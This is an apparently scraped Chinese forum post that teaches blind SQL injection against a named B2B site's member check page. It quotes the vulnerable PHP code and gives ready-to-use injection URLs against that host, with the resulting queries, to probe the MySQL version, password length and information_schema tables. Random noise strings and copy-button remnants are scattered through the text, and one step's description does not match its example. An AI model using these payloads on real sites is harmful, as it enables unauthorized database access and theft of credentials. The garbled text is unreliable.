select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 19 r0 [8 A- l. w4 c, ~; ]1 f
8 [. ]1 w# c$ I! H复制代码 4 J, v. ]2 K O! A错误提示已经很明了了。我们看一下注入页面的代码（有删改）：
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
if(!$num)
echo "<div class=tips3></div>";
else
echo "<div class=tips2>用户名已被注册</div>";
} & z/ i9 x8 E. G, b/ q: C8 h9 e
) ~, @# z8 V- E, A9 I f复制代码 / u. p6 W" s- O( I% j( M2 v: ~以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行，并且MySQL也执行了，但是并没有显示数据库的任何信息，而是判断是否符合 ; t+ U* [3 E$ g* z那么我们先从union的盲注来看吧。5 U3 J: p e8 x/ [5 [' |" @1 p7 `
先看版本：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23+ l; w8 c9 _) f( l' G) f6 u! u
: t6 p+ i l8 o% h 复制代码; F) e9 b3 I, d) `9 G' j5 N! ?
这个时候我们来看看原来的代码中的SQL语句是怎么执行的：
select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#' 3 n; `# O, Z# A9 z5 B5 u! d
}; `& i" a0 u9 P! N' y2 u 复制代码6 L+ W/ U9 r* l! R1 ^
因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5成立 % `9 i! ?& e4 h" n: T `9 d W再来看database()的数据：
select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'0 i# e' K5 g v
6 G. s2 Z0 U2 ^ S( |, k/ u复制代码0 S; F0 F3 y# m) F1 W( ?0 s
这个时候length()函数中的pass是猜测的，当然是建立在猜测正确的基础上。: I/ S" t& m% z& a! I/ T a
这里要说的是，pass和前面select后的userid同属一个表段demo_b2b_admin，所以不需要再带select语句5 Y2 d# J8 y- |7 }3 {! r
那么这里就能得到：
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23 2 o4 ]7 o% a4 F
- S. n/ J3 Z% W! ] 复制代码! P8 I3 ]% j1 D+ Y) N
实际运行的SQL语句就是：
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#': H t4 B: H% Z; q5 I
4 |" d( }; g) Q+ F* U) u, y) I 复制代码. G! q& z+ t$ N# Y( `* A
上面这个语句，对于information_schema不明白的，可以参考其他MySQL注入文章来看一下这个库的意义。# I. k, r" c& h7 I4 g2 {- _. Q
关于limit x,y 的用法，可以参考MySQL手册; V5 l1 r$ A9 l; n0 G% g' T9 C# x